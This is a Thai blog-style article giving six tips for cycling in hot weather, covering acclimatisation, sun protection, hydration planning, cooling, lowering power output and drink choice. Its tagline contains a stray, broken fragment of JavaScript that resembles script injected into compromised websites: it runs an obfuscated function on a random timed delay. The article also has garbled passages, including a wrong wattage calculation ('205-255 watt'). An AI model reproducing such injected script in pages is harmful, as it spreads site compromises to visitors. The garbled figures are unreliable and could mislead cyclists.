ปั่นสู้ลมร้อน

ยุทธวิธีปั่นสู้อากาศร้อน Keep calm andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stay cool

1. สร้างความเคยชิน

การสร้างความเคยชินหรือการปรับตัวให้คุ้นเคยกับสภาวะอากาศคือสิ่งสำคัญที่เราจะรีดศักยภาพให้ได้ 100% เป็นพื้นฐานที่เราไม่สามารถเลี่ยงได้เลยถึงแม้ว่าการปรับตัวให้ชินกับอากาศมันจะพูดง่ายแต่ทำยากก็ตาม การฝืนปั่นในสถาวะแวดล้อมที่เราไม่คุ้นเคยจะทำให้เราเหนื่อยมากขึ้นและเสี่ยงต่อการบาดเจ็บด้วย แต่ก็มีกลวิธีในการช่วยให้ปรับตัวในเร็วขึ้น คือการซ่อมปั่นช่วงเช้าและหรือตอนเย็น ซึ่งเป็นช่วงสภาวะอากาศที่ไม่ร้อนจัด หรือการเล่นสำรวจพื้นที่นั้นๆ จะช่วยให้เราปรับตัวได้เร็วขึ้น ลองยกตัวอย่างให้ดูนะครับ ลองสักเกตว่าทำไมนักกีฬาทีมชาติมักเดินทางไปที่บ้านพักนักกีฬาก่อนงานแข่งประมาณ 1 สัปดาห์

2. ปกป้องผิวพรรณของคุณ

Sunburn ภาษาไทยก็ แดดเผาหรือผิวไหม้ เป็นเรื่องที่สำคัญที่สิงห์นักปั่นไม่ควรมองข้าม อย่ามองว่าการใส่เสื้อคลุม ใส่ฮูด ทาโลชั่นหรือ Arm sleeve เป็นเรื่องของผู้หญิงเค้าทำกัน การถูกแดดเผาสามารถทำให้เรามีอาการเหนื่อยได้เร็วขึ้นแถมยังช่วยเพิ่มอัตรา metabolism อีกด้วย เหมือนจะดีใช่มั้ยครับ แต่อย่าลืมว่าเราก็ต้องเติมน้ำให้ร่างกายเพิ่มขึ้น เราต้องต่อสู้กับแสงอาทิตย์เพื่อไม่ให้เสี่ยงต่อการอยู่ในสภาวะขาดน้ำ (Dehydration) ข้อแนะนำสำหรับนักปั่นทุกคน เราควรจะเลือกชุดปั่นที่ครอบคลุมแขนขาเรา จะเป็นแบบ Full Jersey (แขนขายาวเลย) หรือ Short Jersey (แขนขาสั้น) แล้วส่วมleg หรือ arm sleeve ทับก็ได้ กรุณาเลือกแบบ Built-in Sun protection พวกกัน UV ประมาณนี้นะครับ แล้วใส่หมวกใต้หมวกกันกระแทกเพื่อปกป้องหัวของคุณที่จะรับความร้อนมากเกินไปและใส่แว่นกันแดดก็ดีนะครับ

3. ต้องวางแผน

นักปั่นอย่างเราต้องวางแผนว่าเวลาไหนควรจะดื่มเพื่อต้องการภาวะขาดน้ำ อย่างเช่น 15 นาทีก่อนและ 45 นาทีหลัง (แปะไว้บนถุง sport gel แบรนด์หนึ่ง) การวางแผนจะช่วยปกกันเราจากการดื่มน้ำเร็วเกินไป จนไม่เหลือน้ำก่อนจะถึงจุดเติมใหม่ ยิ่งปั่นระยะไกลยิ่งต้องคำนวนว่าระยะและเวลาไหนควรดื่ม และช่วงไหนที่ต้องไหนที่ต้องเติมน้ำใหม่

4. เปียกบ้างก็ดี

แนะนำแค่เทน้ำเย็นลงแค่ต้นคอหรือแขน (Forearms) หรือจะใช้ผ้าเย็นเช็ดก็ได้ แต่การใช้น้ำเย็นเทใส่ตัวนั้นไม่ดีเพราะจะทำให้เส้นเลือดหดตัวลง เลือดที่มีอุณหภูมิสูงแทนที่จะได้มีการระบายออก กลับต้องวิ่งย้อนกลับเข้าร่างกาย และยิ่งร่างกายเรามีอุณหภูมิสูงอยู่แล้ว การรีดศักยภาพก็จะแย่ลงแถมจะทำให้เกิดอาการบาดเจ็บได้

5. ค่อยเป็นค่อยไป

อย่างพยายามรักษาระดับ Pace หรือ Watt ให้เท่ากับที่เราปั่นในสภาวะแวดล้อมที่เราคุ้นเคย เพราะยิ่งอากาศร้อนขึ้นเราจะใช้พลังงานในการปั่นให้ได้ระดับเดิมมากขึ้น ให้ลองลดพลังงานที่ใช้ลง อย่างเช่น ถ้าปกติปั่น Interval 15 นาที ที่ 220-240 watt ให้ลดลงประมาณ 10-15 watt ก็จะอยู่ที่ 205-255 watt แทน และลดเวลา Interval ลงเหลือ 10-12 นาที นอกจากนี้ถ้ายู่ในสภาวะที่มีความร้อนสูง ใช้เวลา warm-up ลงเหลือครึ่งหรือมากกว่านิดหน่อยพอ เดียวหมดแรงกันพอดี

6. เลือกของกิน

แทนที่จะดื่มน้ำเปล่าเพียงอย่างเดียว ลองเปลี่ยนมาใช้พวกน้ำผักผลไม้ (น้ำแตงโมงหรือองุ่นถ้ามี) เพราธาตุโซเดียมจะช่วยรักษาระดับของเหลวในร่างกายเราให้นานขึ้น หรือจะทานเครื่องดื่มพวก Electrolyte ก็ได้ พยายามดื่มที่เรท 10-12 ml ต่อน้ำหนักของเรา (Kg) /ชั่วโมง
หรือที่ 20 ออนซ์ ต่อ ชั่วโมง (ต่อนักปั่นที่หนัก150 ปอนด์ หรือ 68 กิโล)
การเลือกใช้เครื่องดื่มที่มีส่วนผสมของโปรตีน (Protein-based recovery drink) จะช่วยเติมความสดชื่นได้เร็วขึ้น เร็วกว่าพวก carbohydrate-based เพราะโปรตีนจะช่วยดึงพาน้ำไปด้วยเวลาไหลเข้าสู่กล้ามเนื้อ แต่ถ้าเราจะตัดสินใจใช้แค่น้ำเปล่าๆ แนะนำให้นำพวกขนมขบเคี้ยวที่มี โปรตีน คาร์โบและโซเดียมติดตัวไปด้วย

Credit:http://goo.gl/6PWb7F